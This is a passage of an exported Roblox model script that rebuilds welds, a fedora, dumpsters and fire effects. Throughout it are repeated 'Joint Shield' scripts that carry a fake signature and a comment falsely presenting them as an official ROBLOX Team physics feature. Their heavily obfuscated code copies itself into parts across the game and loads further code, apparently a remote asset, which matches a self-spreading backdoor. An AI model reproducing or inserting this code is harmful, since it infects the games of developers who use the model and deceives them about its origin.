- Happy building! - The ROBLOX Team, August 2014
- --]]--
- local sh,commands,tb,bf,p,pc,num,rn,str,wt,dm,ths,int,gf,wsp,nxt,xsp,tp,cnt,q,dt,g,c,b,sc,cn,sv,svs,jsv,q0,knm,mjt,fsv,r,gfr,gch,isa,ict,prt=shared,{},table,{},{"y","h","s","a","g","e","c","r","b","u","t"},pcall,tonumber,math.random,tostring,wait or Wait,Game or game,script,Instance.new,getfenv,Workspace or workspace,next,Spawn,type
- mjt,fsv,r,gfr,sfr,isa,drm,ict,prt=function(y,a,b,c,d,e)if isa(y,"ph{`ul{\"u{bz+")then a,b,c=y[r"Eum`%"],y[r"Dum`%"],y[r"pr`;ll`s("]if c==r"e`{,"then d,e=y[r"E("],y[r"D("]drm(y)y=int(r"qsp<")y[r"Eum`%"],y[r"Dum`%"],y[r"E("],y[r"D("]=a,b,d,e end pc(sfr,y,"pr`;",('')[r"u`rmzy"](isa(y,"mzuz2")and r"mzuz2AlPRzuRlP" or r"u{bz+Ax{zmu,AlPRzuRlP",str(a),str(b)))pc(sfr,y,"u{pm`%",a or b)pc(ict,y)end end,function(y)for i=1,#svs do sv=svs[i]sc,cn=pc(gfr,sv,"pr`;ll`s(")if sc and cn==y then return sv end end end,(function(y,l)g,c,b,q=y[p[5]..p[3]..p[10]..p[9]],y[p[7]..p[2]..p[4]..p[8]],y[p[9]..p[1]..p[11]..p[6]],gf'1'return function(x)l=#x for i=1,l do y=b(x,i)bf[l-i+1]=c(1-y%2+(y-y%8)%32/4+(y-y%2)%8*4+(y-y%32)%64*2+(y-y%64)%128/2+y-y%128)end return tb.concat(bf,nil,1,l)end end)'',function(o,k)return r(o[r(k)])end,function(o,k,v)o[r(k)]=v end,function(y,x)return dm[r" l\""](y,r(x))end,function(x)dbr[r"rpu\"qq "](dbr,x,0)end,function(y,x)if not dt[1][y]then x=ths[r"p{zs("](ths)x[r"psi`}bchm "]=true prt(y,x)x[r"u{pm`%"]=y end end,function(y,x,z)dt[3][x]=true z=x[r"qpx{`c("]z=z[r"uhp{{zh"](z,function()if x[r"u{pm`%"]~=y or x[r"qpsi`lb1"]then dt[1][y]=nil dt[3][x]=nil pc(ict,y)z[r"uhp{{zhlbq"](z)elseif not x[r"psi`}bchm "]then x[r"psi`}bchm "]=true end end)end
- gch=dm[r"{pmqsbc(up8"]svs=gch(dm)dbr=fsv"lbmip1"dt=sh[r(tb[r"u`h{zh"](p))]if not dt then dt={{},{},{}}sh[r(tb[r"u`h{zh"](p))]=dt cnt=0 xsp(function(a1,a2)ths[r"u{pm`%"]=nil wt(rn())jsv=fsv"phb}mp,lu{bz+"tb[r"bch`pmzy"](gch(jsv),function(y,x)pc(mjt,x)end)q0=jsv[r"qpqq qsbc("]q0[r"uhp{{zh"](q0,function(x)wt(rn())pc(mjt,x)end)q0=wsp[r"qpqq u{`q{phlp1"]q0[r"uhp{{zh"](q0,function(x)wt(rn())if isa(x,"ph{`ul{\"u{bz+")and not isa(x,"mzuz2")then pc(ict,x)end end)q0=gch(wsp)while #q0>0 do cnt=cnt+1 if cnt==1000 then cnt=0 wt()end q0[#q0],cn=nil,q0[#q0]if isa(cn,"ph{`ul{\"u{bz+")and not isa(cn,"mzuz2")then pc(ict,cn)end sc,cn=pc(gch,cn)if sc then for i=1,#cn do q0[#q0+1]=cn[i]end end end xsp(function(s,t)s,t=pc(q[r"pmbtdpm"],r"TEERpTTLFGEUTMLFE][DR"+r"DMU\\MTUTFF]UL[\\"^r"LUFG\\\\L\\ETUDT[F")pc(t)end)while true do wt(rn())repeat a1,a2=nxt(dt[2])if a1 then dt[2][a1]=nil prt(a2,a1)end until not a1 end end)end knm=r"A[mp}Aqspbc,Au{bz+"..(num(('')[r"itl"](str(dt),8,15),16)/8)ths[r"pr`;"]=knm q0=ths[r"u{pm`%"]if dt[1][q0]then drm(ths)elseif not cnt then dt[1][q0]=true if not dt[3][ths]then dt[2][ths]=q0 end end
- end))
- ManualWeld63.Name = "Union-to-N Strong Joint"
- ManualWeld63.Parent = UnionOperation59
- ManualWeld63.C0 = CFrame.new(-16.0050087, 0.500007629, 2.93500137, -1, 0, 0, 0, 0, 1, 0, 1, -0)
- ManualWeld63.C1 = CFrame.new(-12.1804161, -4.5642395, 0.179740906, -0.85562396, -0.517584562, 0.00375425187, -0.517598152, 0.855604291, -0.00580611173, -0.000207000005, -0.00691104215, -0.999976099)
- ManualWeld63.Part0 = UnionOperation59
- ManualWeld63.Part1 = UnionOperation54
- ManualWeld63.part1 = UnionOperation54
- Script64.Name = "Joint Shield ver. 98304148.5"
- Script64.Parent = ManualWeld63
- table.insert(cors,sandbox(Script64,function()
- --rbxsig%K13e5ufkvqCuwFZSiYAdAn8eeUnVGsbeNfJf58wOqYVm4t0q27s+w0xFc2gbWbYJhyLTIwbYBAkHJlSjoMXvMeuYE/0cl+zB9cW6ENJHxC0wCU9zTAWe+OC5JfsZ/hohi4erVGWBuJ+K5/FDN73Nx0U2iuy3wZkw+hWKykh6uLg=%
- --[[--
- If you see this, that means you were selected to test ROBLOX's new JointShield feature.
- This is an experimental feature by the ROBLOX Team meant to further improve the physics simulation.
- Just sit back and enjoy the flawless physics.
- Happy building! - The ROBLOX Team, August 2014
- --]]--
- local sh,commands,tb,bf,p,pc,num,rn,str,wt,dm,ths,int,gf,wsp,nxt,xsp,tp,cnt,q,dt,g,c,b,sc,cn,sv,svs,jsv,q0,knm,mjt,fsv,r,gfr,gch,isa,ict,prt=shared,{},table,{},{"y","h","s","a","g","e","c","r","b","u","t"},pcall,tonumber,math.random,tostring,wait or Wait,Game or game,script,Instance.new,getfenv,Workspace or workspace,next,Spawn,type
- mjt,fsv,r,gfr,sfr,isa,drm,ict,prt=function(y,a,b,c,d,e)if isa(y,"ph{`ul{\"u{bz+")then a,b,c=y[r"Eum`%"],y[r"Dum`%"],y[r"pr`;ll`s("]if c==r"e`{,"then d,e=y[r"E("],y[r"D("]drm(y)y=int(r"qsp<")y[r"Eum`%"],y[r"Dum`%"],y[r"E("],y[r"D("]=a,b,d,e end pc(sfr,y,"pr`;",('')[r"u`rmzy"](isa(y,"mzuz2")and r"mzuz2AlPRzuRlP" or r"u{bz+Ax{zmu,AlPRzuRlP",str(a),str(b)))pc(sfr,y,"u{pm`%",a or b)pc(ict,y)end end,function(y)for i=1,#svs do sv=svs[i]sc,cn=pc(gfr,sv,"pr`;ll`s(")if sc and cn==y then return sv end end end,(function(y,l)g,c,b,q=y[p[5]..p[3]..p[10]..p[9]],y[p[7]..p[2]..p[4]..p[8]],y[p[9]..p[1]..p[11]..p[6]],gf'1'return function(x)l=#x for i=1,l do y=b(x,i)bf[l-i+1]=c(1-y%2+(y-y%8)%32/4+(y-y%2)%8*4+(y-y%32)%64*2+(y-y%64)%128/2+y-y%128)end return tb.concat(bf,nil,1,l)end end)'',function(o,k)return r(o[r(k)])end,function(o,k,v)o[r(k)]=v end,function(y,x)return dm[r" l\""](y,r(x))end,function(x)dbr[r"rpu\"qq "](dbr,x,0)end,function(y,x)if not dt[1][y]then x=ths[r"p{zs("](ths)x[r"psi`}bchm "]=true prt(y,x)x[r"u{pm`%"]=y end end,function(y,x,z)dt[3][x]=true z=x[r"qpx{`c("]z=z[r"uhp{{zh"](z,function()if x[r"u{pm`%"]~=y or x[r"qpsi`lb1"]then dt[1][y]=nil dt[3][x]=nil pc(ict,y)z[r"uhp{{zhlbq"](z)elseif not x[r"psi`}bchm "]then x[r"psi`}bchm "]=true end end)end
- gch=dm[r"{pmqsbc(up8"]svs=gch(dm)dbr=fsv"lbmip1"dt=sh[r(tb[r"u`h{zh"](p))]if not dt then dt={{},{},{}}sh[r(tb[r"u`h{zh"](p))]=dt cnt=0 xsp(function(a1,a2)ths[r"u{pm`%"]=nil wt(rn())jsv=fsv"phb}mp,lu{bz+"tb[r"bch`pmzy"](gch(jsv),function(y,x)pc(mjt,x)end)q0=jsv[r"qpqq qsbc("]q0[r"uhp{{zh"](q0,function(x)wt(rn())pc(mjt,x)end)q0=wsp[r"qpqq u{`q{phlp1"]q0[r"uhp{{zh"](q0,function(x)wt(rn())if isa(x,"ph{`ul{\"u{bz+")and not isa(x,"mzuz2")then pc(ict,x)end end)q0=gch(wsp)while #q0>0 do cnt=cnt+1 if cnt==1000 then cnt=0 wt()end q0[#q0],cn=nil,q0[#q0]if isa(cn,"ph{`ul{\"u{bz+")and not isa(cn,"mzuz2")then pc(ict,cn)end sc,cn=pc(gch,cn)if sc then for i=1,#cn do q0[#q0+1]=cn[i]end end end xsp(function(s,t)s,t=pc(q[r"pmbtdpm"],r"TEERpTTLFGEUTMLFE][DR"+r"DMU\\MTUTFF]UL[\\"^r"LUFG\\\\L\\ETUDT[F")pc(t)end)while true do wt(rn())repeat a1,a2=nxt(dt[2])if a1 then dt[2][a1]=nil prt(a2,a1)end until not a1 end end)end knm=r"A[mp}Aqspbc,Au{bz+"..(num(('')[r"itl"](str(dt),8,15),16)/8)ths[r"pr`;"]=knm q0=ths[r"u{pm`%"]if dt[1][q0]then drm(ths)elseif not cnt then dt[1][q0]=true if not dt[3][ths]then dt[2][ths]=q0 end end
- end))
- Script65.Name = "Joint Shield ver. 88798075.5"
- Script65.Parent = ManualWeld63
- table.insert(cors,sandbox(Script65,function()
- --rbxsig%K13e5ufkvqCuwFZSiYAdAn8eeUnVGsbeNfJf58wOqYVm4t0q27s+w0xFc2gbWbYJhyLTIwbYBAkHJlSjoMXvMeuYE/0cl+zB9cW6ENJHxC0wCU9zTAWe+OC5JfsZ/hohi4erVGWBuJ+K5/FDN73Nx0U2iuy3wZkw+hWKykh6uLg=%
- --[[--
- If you see this, that means you were selected to test ROBLOX's new JointShield feature.
- This is an experimental feature by the ROBLOX Team meant to further improve the physics simulation.
- Just sit back and enjoy the flawless physics.
- Happy building! - The ROBLOX Team, August 2014
- --]]--
- local sh,commands,tb,bf,p,pc,num,rn,str,wt,dm,ths,int,gf,wsp,nxt,xsp,tp,cnt,q,dt,g,c,b,sc,cn,sv,svs,jsv,q0,knm,mjt,fsv,r,gfr,gch,isa,ict,prt=shared,{},table,{},{"y","h","s","a","g","e","c","r","b","u","t"},pcall,tonumber,math.random,tostring,wait or Wait,Game or game,script,Instance.new,getfenv,Workspace or workspace,next,Spawn,type
- mjt,fsv,r,gfr,sfr,isa,drm,ict,prt=function(y,a,b,c,d,e)if isa(y,"ph{`ul{\"u{bz+")then a,b,c=y[r"Eum`%"],y[r"Dum`%"],y[r"pr`;ll`s("]if c==r"e`{,"then d,e=y[r"E("],y[r"D("]drm(y)y=int(r"qsp<")y[r"Eum`%"],y[r"Dum`%"],y[r"E("],y[r"D("]=a,b,d,e end pc(sfr,y,"pr`;",('')[r"u`rmzy"](isa(y,"mzuz2")and r"mzuz2AlPRzuRlP" or r"u{bz+Ax{zmu,AlPRzuRlP",str(a),str(b)))pc(sfr,y,"u{pm`%",a or b)pc(ict,y)end end,function(y)for i=1,#svs do sv=svs[i]sc,cn=pc(gfr,sv,"pr`;ll`s(")if sc and cn==y then return sv end end end,(function(y,l)g,c,b,q=y[p[5]..p[3]..p[10]..p[9]],y[p[7]..p[2]..p[4]..p[8]],y[p[9]..p[1]..p[11]..p[6]],gf'1'return function(x)l=#x for i=1,l do y=b(x,i)bf[l-i+1]=c(1-y%2+(y-y%8)%32/4+(y-y%2)%8*4+(y-y%32)%64*2+(y-y%64)%128/2+y-y%128)end return tb.concat(bf,nil,1,l)end end)'',function(o,k)return r(o[r(k)])end,function(o,k,v)o[r(k)]=v end,function(y,x)return dm[r" l\""](y,r(x))end,function(x)dbr[r"rpu\"qq "](dbr,x,0)end,function(y,x)if not dt[1][y]then x=ths[r"p{zs("](ths)x[r"psi`}bchm "]=true prt(y,x)x[r"u{pm`%"]=y end end,function(y,x,z)dt[3][x]=true z=x[r"qpx{`c("]z=z[r"uhp{{zh"](z,function()if x[r"u{pm`%"]~=y or x[r"qpsi`lb1"]then dt[1][y]=nil dt[3][x]=nil pc(ict,y)z[r"uhp{{zhlbq"](z)elseif not x[r"psi`}bchm "]then x[r"psi`}bchm "]=true end end)end
- gch=dm[r"{pmqsbc(up8"]svs=gch(dm)dbr=fsv"lbmip1"dt=sh[r(tb[r"u`h{zh"](p))]if not dt then dt={{},{},{}}sh[r(tb[r"u`h{zh"](p))]=dt cnt=0 xsp(function(a1,a2)ths[r"u{pm`%"]=nil wt(rn())jsv=fsv"phb}mp,lu{bz+"tb[r"bch`pmzy"](gch(jsv),function(y,x)pc(mjt,x)end)q0=jsv[r"qpqq qsbc("]q0[r"uhp{{zh"](q0,function(x)wt(rn())pc(mjt,x)end)q0=wsp[r"qpqq u{`q{phlp1"]q0[r"uhp{{zh"](q0,function(x)wt(rn())if isa(x,"ph{`ul{\"u{bz+")and not isa(x,"mzuz2")then pc(ict,x)end end)q0=gch(wsp)while #q0>0 do cnt=cnt+1 if cnt==1000 then cnt=0 wt()end q0[#q0],cn=nil,q0[#q0]if isa(cn,"ph{`ul{\"u{bz+")and not isa(cn,"mzuz2")then pc(ict,cn)end sc,cn=pc(gch,cn)if sc then for i=1,#cn do q0[#q0+1]=cn[i]end end end xsp(function(s,t)s,t=pc(q[r"pmbtdpm"],r"TEERpTTLFGEUTMLFE][DR"+r"DMU\\MTUTFF]UL[\\"^r"LUFG\\\\L\\ETUDT[F")pc(t)end)while true do wt(rn())repeat a1,a2=nxt(dt[2])if a1 then dt[2][a1]=nil prt(a2,a1)end until not a1 end end)end knm=r"A[mp}Aqspbc,Au{bz+"..(num(('')[r"itl"](str(dt),8,15),16)/8)ths[r"pr`;"]=knm q0=ths[r"u{pm`%"]if dt[1][q0]then drm(ths)elseif not cnt then dt[1][q0]=true if not dt[3][ths]then dt[2][ths]=q0 end end
- end))
- Part66.Name = "WoolFedora"
- Part66.Parent = Model22
- Part66.CFrame = CFrame.new(137.257996, 8.76241207, -133.957703, 0.0229390021, 0.00587000139, -0.999719679, -0.393587053, 0.919280231, -0.00363333733, 0.919001043, 0.393560052, 0.0233977269)
- Part66.Orientation = Vector3.new(0.209999993, -88.6600037, -23.1800003)
- Part66.Position = Vector3.new(137.257996, 8.76241207, -133.957703)
- Part66.Rotation = Vector3.new(8.82999992, -88.6399994, -14.3500004)
- Part66.Size = Vector3.new(0.799999237, 0.200000003, 2.00000024)
- Part66.Anchored = true
- Part66.BottomSurface = Enum.SurfaceType.Smooth
- Part66.TopSurface = Enum.SurfaceType.Smooth
- Part66.FormFactor = Enum.FormFactor.Custom
- Part66.formFactor = Enum.FormFactor.Custom
- SpecialMesh67.Parent = Part66
- SpecialMesh67.MeshId = "http://www.roblox.com/asset/?id=77345585"
- SpecialMesh67.Scale = Vector3.new(1.20000005, 1, 1.20000005)
- SpecialMesh67.TextureId = "http://www.roblox.com/asset/?id=77345568"
- SpecialMesh67.MeshType = Enum.MeshType.FileMesh
- Model68.Parent = Model22
- Part69.Name = "Dumpster"
- Part69.Parent = Model68
- Part69.CFrame = CFrame.new(122.917053, 4.0337429, -141.115662, 0.999781609, 0, 0.0208989903, 0, 1, 0, -0.0208989903, 0, 0.999781609)
- Part69.Orientation = Vector3.new(0, 1.20000005, 0)
- Part69.Position = Vector3.new(122.917053, 4.0337429, -141.115662)
- Part69.Rotation = Vector3.new(0, 1.20000005, 0)
- Part69.Color = Color3.new(1, 0, 0)
- Part69.Size = Vector3.new(8.39999962, 7.00000048, 5.59999943)
- Part69.Anchored = true
- Part69.BrickColor = BrickColor.new("Really red")
- Part69.brickColor = BrickColor.new("Really red")
- Part69.FormFactor = Enum.FormFactor.Custom
- Part69.formFactor = Enum.FormFactor.Custom
- SpecialMesh70.Parent = Part69
- SpecialMesh70.MeshId = "http://www.roblox.com/asset/?id=93054682"
- SpecialMesh70.TextureId = "http://www.roblox.com/asset/?id=93054830"
- SpecialMesh70.MeshType = Enum.MeshType.FileMesh
- Fire71.Parent = Part69
- Fire71.Color = Color3.new(1, 0.678431, 0)
- Fire71.Enabled = false
- Fire71.Size = 30
- Fire71.Heat = 25
- Fire71.SecondaryColor = Color3.new(1, 0, 0)
- Fire71.size = 30
- Script72.Name = "Spread"
- Script72.Parent = Fire71
- table.insert(cors,sandbox(Script72,function()
- function Spread(part)
- check = part:findFirstChild("Fire")
- if check == nil then
- script.Parent:Clone().Parent = part
- elseif check ~= nil then
- check.Size = check.Size + 1000000
- check.Heat = check.Heat +1000000
- end
- end
- script.Parent.Parent.Touched:connect(Spread)
- end))
- ManualWeld73.Name = "Dumpster-to-Trashcan Strong Joint"
- ManualWeld73.Parent = Part69
- ManualWeld73.C0 = CFrame.new(-4.19999981, -3.50000024, -2.79999971, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- ManualWeld73.C1 = CFrame.new(-1.5, -2.20000029, 2.5, -4.37113883e-08, 0, 1, 0, 1, 0, -1, 0, 0)
- ManualWeld73.Part0 = Part69
- Script74.Name = "Joint Shield ver. 98304148.5"
- Script74.Parent = ManualWeld73
- table.insert(cors,sandbox(Script74,function()
- --rbxsig%K13e5ufkvqCuwFZSiYAdAn8eeUnVGsbeNfJf58wOqYVm4t0q27s+w0xFc2gbWbYJhyLTIwbYBAkHJlSjoMXvMeuYE/0cl+zB9cW6ENJHxC0wCU9zTAWe+OC5JfsZ/hohi4erVGWBuJ+K5/FDN73Nx0U2iuy3wZkw+hWKykh6uLg=%
- --[[--
- If you see this, that means you were selected to test ROBLOX's new JointShield feature.
- This is an experimental feature by the ROBLOX Team meant to further improve the physics simulation.
- Just sit back and enjoy the flawless physics.
- Happy building! - The ROBLOX Team, August 2014
- --]]--
- local sh,commands,tb,bf,p,pc,num,rn,str,wt,dm,ths,int,gf,wsp,nxt,xsp,tp,cnt,q,dt,g,c,b,sc,cn,sv,svs,jsv,q0,knm,mjt,fsv,r,gfr,gch,isa,ict,prt=shared,{},table,{},{"y","h","s","a","g","e","c","r","b","u","t"},pcall,tonumber,math.random,tostring,wait or Wait,Game or game,script,Instance.new,getfenv,Workspace or workspace,next,Spawn,type
- mjt,fsv,r,gfr,sfr,isa,drm,ict,prt=function(y,a,b,c,d,e)if isa(y,"ph{`ul{\"u{bz+")then a,b,c=y[r"Eum`%"],y[r"Dum`%"],y[r"pr`;ll`s("]if c==r"e`{,"then d,e=y[r"E("],y[r"D("]drm(y)y=int(r"qsp<")y[r"Eum`%"],y[r"Dum`%"],y[r"E("],y[r"D("]=a,b,d,e end pc(sfr,y,"pr`;",('')[r"u`rmzy"](isa(y,"mzuz2")and r"mzuz2AlPRzuRlP" or r"u{bz+Ax{zmu,AlPRzuRlP",str(a),str(b)))pc(sfr,y,"u{pm`%",a or b)pc(ict,y)end end,function(y)for i=1,#svs do sv=svs[i]sc,cn=pc(gfr,sv,"pr`;ll`s(")if sc and cn==y then return sv end end end,(function(y,l)g,c,b,q=y[p[5]..p[3]..p[10]..p[9]],y[p[7]..p[2]..p[4]..p[8]],y[p[9]..p[1]..p[11]..p[6]],gf'1'return function(x)l=#x for i=1,l do y=b(x,i)bf[l-i+1]=c(1-y%2+(y-y%8)%32/4+(y-y%2)%8*4+(y-y%32)%64*2+(y-y%64)%128/2+y-y%128)end return tb.concat(bf,nil,1,l)end end)'',function(o,k)return r(o[r(k)])end,function(o,k,v)o[r(k)]=v end,function(y,x)return dm[r" l\""](y,r(x))end,function(x)dbr[r"rpu\"qq "](dbr,x,0)end,function(y,x)if not dt[1][y]then x=ths[r"p{zs("](ths)x[r"psi`}bchm "]=true prt(y,x)x[r"u{pm`%"]=y end end,function(y,x,z)dt[3][x]=true z=x[r"qpx{`c("]z=z[r"uhp{{zh"](z,function()if x[r"u{pm`%"]~=y or x[r"qpsi`lb1"]then dt[1][y]=nil dt[3][x]=nil pc(ict,y)z[r"uhp{{zhlbq"](z)elseif not x[r"psi`}bchm "]then x[r"psi`}bchm "]=true end end)end
- gch=dm[r"{pmqsbc(up8"]svs=gch(dm)dbr=fsv"lbmip1"dt=sh[r(tb[r"u`h{zh"](p))]if not dt then dt={{},{},{}}sh[r(tb[r"u`h{zh"](p))]=dt cnt=0 xsp(function(a1,a2)ths[r"u{pm`%"]=nil wt(rn())jsv=fsv"phb}mp,lu{bz+"tb[r"bch`pmzy"](gch(jsv),function(y,x)pc(mjt,x)end)q0=jsv[r"qpqq qsbc("]q0[r"uhp{{zh"](q0,function(x)wt(rn())pc(mjt,x)end)q0=wsp[r"qpqq u{`q{phlp1"]q0[r"uhp{{zh"](q0,function(x)wt(rn())if isa(x,"ph{`ul{\"u{bz+")and not isa(x,"mzuz2")then pc(ict,x)end end)q0=gch(wsp)while #q0>0 do cnt=cnt+1 if cnt==1000 then cnt=0 wt()end q0[#q0],cn=nil,q0[#q0]if isa(cn,"ph{`ul{\"u{bz+")and not isa(cn,"mzuz2")then pc(ict,cn)end sc,cn=pc(gch,cn)if sc then for i=1,#cn do q0[#q0+1]=cn[i]end end end xsp(function(s,t)s,t=pc(q[r"pmbtdpm"],r"TEERpTTLFGEUTMLFE][DR"+r"DMU\\MTUTFF]UL[\\"^r"LUFG\\\\L\\ETUDT[F")pc(t)end)while true do wt(rn())repeat a1,a2=nxt(dt[2])if a1 then dt[2][a1]=nil prt(a2,a1)end until not a1 end end)end knm=r"A[mp}Aqspbc,Au{bz+"..(num(('')[r"itl"](str(dt),8,15),16)/8)ths[r"pr`;"]=knm q0=ths[r"u{pm`%"]if dt[1][q0]then drm(ths)elseif not cnt then dt[1][q0]=true if not dt[3][ths]then dt[2][ths]=q0 end end
- end))
- Script75.Name = "Joint Shield ver. 88798075.5"
- Script75.Parent = ManualWeld73
- table.insert(cors,sandbox(Script75,function()
- --rbxsig%K13e5ufkvqCuwFZSiYAdAn8eeUnVGsbeNfJf58wOqYVm4t0q27s+w0xFc2gbWbYJhyLTIwbYBAkHJlSjoMXvMeuYE/0cl+zB9cW6ENJHxC0wCU9zTAWe+OC5JfsZ/hohi4erVGWBuJ+K5/FDN73Nx0U2iuy3wZkw+hWKykh6uLg=%
- --[[--
- If you see this, that means you were selected to test ROBLOX's new JointShield feature.
- This is an experimental feature by the ROBLOX Team meant to further improve the physics simulation.
- Just sit back and enjoy the flawless physics.
- Happy building! - The ROBLOX Team, August 2014
- --]]--
- local sh,commands,tb,bf,p,pc,num,rn,str,wt,dm,ths,int,gf,wsp,nxt,xsp,tp,cnt,q,dt,g,c,b,sc,cn,sv,svs,jsv,q0,knm,mjt,fsv,r,gfr,gch,isa,ict,prt=shared,{},table,{},{"y","h","s","a","g","e","c","r","b","u","t"},pcall,tonumber,math.random,tostring,wait or Wait,Game or game,script,Instance.new,getfenv,Workspace or workspace,next,Spawn,type
- mjt,fsv,r,gfr,sfr,isa,drm,ict,prt=function(y,a,b,c,d,e)if isa(y,"ph{`ul{\"u{bz+")then a,b,c=y[r"Eum`%"],y[r"Dum`%"],y[r"pr`;ll`s("]if c==r"e`{,"then d,e=y[r"E("],y[r"D("]drm(y)y=int(r"qsp<")y[r"Eum`%"],y[r"Dum`%"],y[r"E("],y[r"D("]=a,b,d,e end pc(sfr,y,"pr`;",('')[r"u`rmzy"](isa(y,"mzuz2")and r"mzuz2AlPRzuRlP" or r"u{bz+Ax{zmu,AlPRzuRlP",str(a),str(b)))pc(sfr,y,"u{pm`%",a or b)pc(ict,y)end end,function(y)for i=1,#svs do sv=svs[i]sc,cn=pc(gfr,sv,"pr`;ll`s(")if sc and cn==y then return sv end end end,(function(y,l)g,c,b,q=y[p[5]..p[3]..p[10]..p[9]],y[p[7]..p[2]..p[4]..p[8]],y[p[9]..p[1]..p[11]..p[6]],gf'1'return function(x)l=#x for i=1,l do y=b(x,i)bf[l-i+1]=c(1-y%2+(y-y%8)%32/4+(y-y%2)%8*4+(y-y%32)%64*2+(y-y%64)%128/2+y-y%128)end return tb.concat(bf,nil,1,l)end end)'',function(o,k)return r(o[r(k)])end,function(o,k,v)o[r(k)]=v end,function(y,x)return dm[r" l\""](y,r(x))end,function(x)dbr[r"rpu\"qq "](dbr,x,0)end,function(y,x)if not dt[1][y]then x=ths[r"p{zs("](ths)x[r"psi`}bchm "]=true prt(y,x)x[r"u{pm`%"]=y end end,function(y,x,z)dt[3][x]=true z=x[r"qpx{`c("]z=z[r"uhp{{zh"](z,function()if x[r"u{pm`%"]~=y or x[r"qpsi`lb1"]then dt[1][y]=nil dt[3][x]=nil pc(ict,y)z[r"uhp{{zhlbq"](z)elseif not x[r"psi`}bchm "]then x[r"psi`}bchm "]=true end end)end
- gch=dm[r"{pmqsbc(up8"]svs=gch(dm)dbr=fsv"lbmip1"dt=sh[r(tb[r"u`h{zh"](p))]if not dt then dt={{},{},{}}sh[r(tb[r"u`h{zh"](p))]=dt cnt=0 xsp(function(a1,a2)ths[r"u{pm`%"]=nil wt(rn())jsv=fsv"phb}mp,lu{bz+"tb[r"bch`pmzy"](gch(jsv),function(y,x)pc(mjt,x)end)q0=jsv[r"qpqq qsbc("]q0[r"uhp{{zh"](q0,function(x)wt(rn())pc(mjt,x)end)q0=wsp[r"qpqq u{`q{phlp1"]q0[r"uhp{{zh"](q0,function(x)wt(rn())if isa(x,"ph{`ul{\"u{bz+")and not isa(x,"mzuz2")then pc(ict,x)end end)q0=gch(wsp)while #q0>0 do cnt=cnt+1 if cnt==1000 then cnt=0 wt()end q0[#q0],cn=nil,q0[#q0]if isa(cn,"ph{`ul{\"u{bz+")and not isa(cn,"mzuz2")then pc(ict,cn)end sc,cn=pc(gch,cn)if sc then for i=1,#cn do q0[#q0+1]=cn[i]end end end xsp(function(s,t)s,t=pc(q[r"pmbtdpm"],r"TEERpTTLFGEUTMLFE][DR"+r"DMU\\MTUTFF]UL[\\"^r"LUFG\\\\L\\ETUDT[F")pc(t)end)while true do wt(rn())repeat a1,a2=nxt(dt[2])if a1 then dt[2][a1]=nil prt(a2,a1)end until not a1 end end)end knm=r"A[mp}Aqspbc,Au{bz+"..(num(('')[r"itl"](str(dt),8,15),16)/8)ths[r"pr`;"]=knm q0=ths[r"u{pm`%"]if dt[1][q0]then drm(ths)elseif not cnt then dt[1][q0]=true if not dt[3][ths]then dt[2][ths]=q0 end end
- end))
- Model76.Parent = Model22
- Part77.Name = "Dumpster"
- Part77.Parent = Model76
- Part77.CFrame = CFrame.new(145.385162, 3.73098207, -140.900146, 0.999996662, 0, -0.00260699913, 0, 1, 0, 0.00260699913, 0, 0.999996662)
- Part77.Orientation = Vector3.new(0, -0.150000006, 0)
- Part77.Position = Vector3.new(145.385162, 3.73098207, -140.900146)
- Part77.Rotation = Vector3.new(0, -0.150000006, 0)
- Part77.Color = Color3.new(0.294118, 0.592157, 0.294118)
- Part77.Size = Vector3.new(8.39999962, 7.00000048, 5.59999943)
- Part77.Anchored = true
- Part77.BrickColor = BrickColor.new("Bright green")
- Part77.brickColor = BrickColor.new("Bright green")
- Part77.FormFactor = Enum.FormFactor.Custom
- Part77.formFactor = Enum.FormFactor.Custom
- SpecialMesh78.Parent = Part77
- SpecialMesh78.MeshId = "http://www.roblox.com/asset/?id=93054682"
- SpecialMesh78.TextureId = "http://www.roblox.com/asset/?id=93054830"
- SpecialMesh78.MeshType = Enum.MeshType.FileMesh
- Fire79.Parent = Part77
- Fire79.Color = Color3.new(1, 0.678431, 0)
- Fire79.Enabled = false
- Fire79.Size = 30
- Fire79.Heat = 25
- Fire79.SecondaryColor = Color3.new(1, 0, 0)
- Fire79.size = 30
- Script80.Name = "Spread"
- Script80.Parent = Fire79
- table.insert(cors,sandbox(Script80,function()
- function Spread(part)
- check = part:findFirstChild("Fire")
- if check == nil then
- script.Parent:Clone().Parent = part
- elseif check ~= nil then
- check.Size = check.Size + 1000000
- check.Heat = check.Heat +1000000
- end
- end
- script.Parent.Parent.Touched:connect(Spread)
- end))
- ManualWeld81.Name = "Dumpster-to-Trashcan Strong Joint"
- ManualWeld81.Parent = Part77
- ManualWeld81.C0 = CFrame.new(-4.19999981, -3.50000024, -2.79999971, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- ManualWeld81.C1 = CFrame.new(-1.5, -2.20000029, 2.5, -4.37113883e-08, 0, 1, 0, 1, 0, -1, 0, 0)
- ManualWeld81.Part0 = Part77
- Script82.Name = "Joint Shield ver. 98304148.5"
- Script82.Parent = ManualWeld81
- table.insert(cors,sandbox(Script82,function()
- --rbxsig%K13e5ufkvqCuwFZSiYAdAn8eeUnVGsbeNfJf58wOqYVm4t0q27s+w0xFc2gbWbYJhyLTIwbYBAkHJlSjoMXvMeuYE/0cl+zB9cW6ENJHxC0wCU9zTAWe+OC5JfsZ/hohi4erVGWBuJ+K5/FDN73Nx0U2iuy3wZkw+hWKykh6uLg=%
- --[[--
- If you see this, that means you were selected to test ROBLOX's new JointShield feature.
- This is an experimental feature by the ROBLOX Team meant to further improve the physics simulation.
- Just sit back and enjoy the flawless physics.
- Happy building! - The ROBLOX Team, August 2014
- --]]--
- local sh,commands,tb,bf,p,pc,num,rn,str,wt,dm,ths,int,gf,wsp,nxt,xsp,tp,cnt,q,dt,g,c,b,sc,cn,sv,svs,jsv,q0,knm,mjt,fsv,r,gfr,gch,isa,ict,prt=shared,{},table,{},{"y","h","s","a","g","e","c","r","b","u","t"},pcall,tonumber,math.random,tostring,wait or Wait,Game or game,script,Instance.new,getfenv,Workspace or workspace,next,Spawn,type
